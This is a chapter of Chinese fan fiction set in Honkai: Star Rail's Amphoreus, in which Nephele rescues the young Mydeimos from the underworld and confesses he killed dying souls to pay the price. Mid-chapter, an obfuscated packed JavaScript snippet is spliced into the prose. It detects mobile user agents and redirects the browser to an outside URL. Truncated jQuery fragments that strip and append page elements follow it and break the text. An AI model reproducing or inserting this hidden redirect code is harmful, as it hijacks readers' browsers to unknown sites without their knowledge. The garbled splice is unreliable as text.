36.以何物作为代价?

作品:《【崩铁/单翁法罗斯】并非英雄传说

    答应另一个涅斐勒提出的要求时,迈德漠斯并没有多想,他只是觉得,要是因为他让那从有意识起就陪伴在他身边的使者露出为难的难看表情,是一件很耻辱的事……但他的心理预期终究建设得少了一些。原本以为需要承受的只是短暂的死亡,但现在却因为某些问题变成了持续不断的、将人折磨得几欲发疯的「死」。


    迈德漠斯能感觉到,自己的这具身躯在重复着一个残忍的循环。撕扯、破裂、血液涌出、重塑、生长、愈合……再重复,不断重复,没有停止地重复,像一个生生不息的轮回。无论他的心底产生的是何种情感,都无法左右的冰冷的轮回。


    而在这个生死往复的过程里,迈德漠斯什么都看不到,什么也听不到。漆黑的潮水封闭了他的感官。死人是不需要睁眼的,正向死亡迈进的人也一样——这无穷无尽的浪潮在他耳边呢喃着冷酷的法则。并不在乎因为它给无法死去的人带来了怎样的痛苦。


    已经过去很久了,马上就能结束了吧。


    他只好这样想。


    仿佛回到了记忆最深处在冥海漂流的日子,身体被鱼啃食,又被不死的诅咒恢复原状。那糟糕的感觉令他铭记至今,以至于被那经历影响,直到今天他都在厌恶河水。


    向水底沉没的这段时光,漫长得像是永无尽头。迈德漠斯本能地向上方明亮的波光伸出手,在过去他也对水面上温暖的世界习以为常,但到了这一刻却是那么遥不可及。


    在形变上涌的气泡旁,迈德漠斯没有抓到那缕闪耀的浮光,但触及他指尖,沿着手指抓住了他手腕的是另一只熟悉的手。此时此刻,那只手已重拾活人的温度,它曾在平淡的讲述声里翻着书为年幼的王子指过每一行应识的文字,也曾替神出鬼没的剑士向练习后跌倒在地的孩童递出可以借力的支点。


    那是一份感情沉默却深刻的体现。是如此历历在目,覆盖掉包裹着迈德漠斯身体的疼痛,将他带回那片每一个人类诞生起就身处的,可以放松呼吸、尽情奔跑的大地。


    迈德漠斯感受到手腕上正传来抵抗重力的力量,仅仅是适中的力气恰好对应那位缺乏锻炼的使者。迈德漠斯看到自己的手背渗出了血,露出底下的森森白骨。漂浮的血液未能溶于河水,那抹猩红滚动着、缠绕着,擦着来自水面上的手臂向上漂浮。


    就像是感觉到水下发生的一切,使者的手颤抖了一下,哗啦——水面上伸出另一只手,十根手指在不同的位置攥紧了迈德漠斯的手臂,将他从死亡的怀抱中抢了回来。


    浑身湿透的孩子在岸上睁开眼,他愣住了,看着天穹之上数以万计的群星。


    一股无可名状的冲动使迈德漠斯继续看向四周。他正处在群山之中,附近的山岩打造了一个隐秘又宽敞的洞穴。下山的路就在外边,看起来不太好走。一只品种不明的鹰落在山洞外凸起的岩石上,高傲地和迈德漠斯对视。在极静的时刻,他仿佛能听到北风从千里外的城邦带走的交谈,除此以外,他还听到百里外的树林果实落地的闷响,感觉到十里外的村庄点起篝火的噼啪声。方才知晓,这便是令无数逝者留恋的人间。


    “醒了?”身旁传来一股暖意。熊熊燃烧的篝火旁,熟悉的灰袍身影转头,只露出了下半边脸,将全身都裹在斗篷下,看起来就像一只缩成一团有点消瘦的企鹅。


    “说好会带你回现世看看,我就一定会做到。只是……咳,确实有一点小波折。”


    涅斐勒转过头故作姿态地轻咳两声,试图一笔带过那些不美好的过程。


    迈德漠斯看着那堆升腾的火焰,冥界的冰冷已渐渐被它驱至体外。


    “兔腿,吃吗?”涅斐勒以为迈德漠斯是饿了,指着火中隐隐约约的烤野兔问。


    那脱身于水底的经历的确消耗了不少体力,迈德漠斯点点头,坐到涅斐勒同一侧。


    静了一会,迈德漠斯突然问:


    “我……不,你,是怎么从那地方把我带出来的?”


    “非得知道?”涅斐勒轻轻说,“正好,兔腿快烤好了,不如等之后我们再讲?”


    “我要知道。”迈德漠斯只是说。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455011|169313||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涅斐勒低笑一声,无可奈何道:“好吧,你的意思我明白了。”


    涅斐勒抓紧领口,脱下斗篷。橘红的火光照亮了这具被神袍包裹的身体。然后是卷起袖子,一寸寸露出被不详的黑色痕迹爬满的皮肤。


    情况比起在冥界时看起来更加严重。那些痕迹起伏明显,随着涅斐勒的每一次脉搏跳动,像一群蠕虫在他的血管里成群结队爬动时不断留下的凹凸。


    “为什么会这样?”迈德漠斯看着涅斐勒问。


    “「我」说的对,总要有代价。”涅斐勒沉默了一会,“所以,我用那些亡灵当做了替代你我的代价。这些东西——是那群亡灵往生前留给我的,代价的代价。”


    涅斐勒看向迈德漠斯,双目中藏着一丝对万事都漫不经心的淡漠。这说明他已跨过某种界限,有了只有刽子手才有的眼神。


    “你可以理解为,我杀了很多人——用黑潮杀死了很多无力反抗,将死未死的人。”涅斐勒说。


    这种行径在悬锋人眼中是一种卑鄙的恶行,和在五花大绑的情况下屠戮战俘没什么两样。在说出口时涅斐勒就做好了被迈德漠斯反对的准备。


    “如果这个选择让你觉得不适,正好可以就此分开。我去找我的族人,至于你,迈德漠斯,你想去哪里,想做什么都可以。”


    迈德漠斯没打算说话,用言语表达感情一向不是他擅长的事。


    他从地上起身,弯腰捡起涅斐勒扔在山洞里的斗篷,从背后披上他的肩膀。


    涅斐勒抓住斗篷的边缘,看着重新盘腿坐回身边的迈德漠斯,“这是什么意思?”


    “没什么意思。”


    “真的?”涅斐勒反应过来,整理起由迈德漠斯为他披上的斗篷。


    “真的。”迈德漠斯倔强道。


    尽管年幼的王子再三考虑合适的表达方式,但受限于悬锋字典的编撰失误,在三种过于“软弱”的言辞和三种太过“活泼”的言辞间,迈德漠斯选择了回避问题,期待涅斐勒能靠自己理解举动背后的含义,幸好,他的确做到了。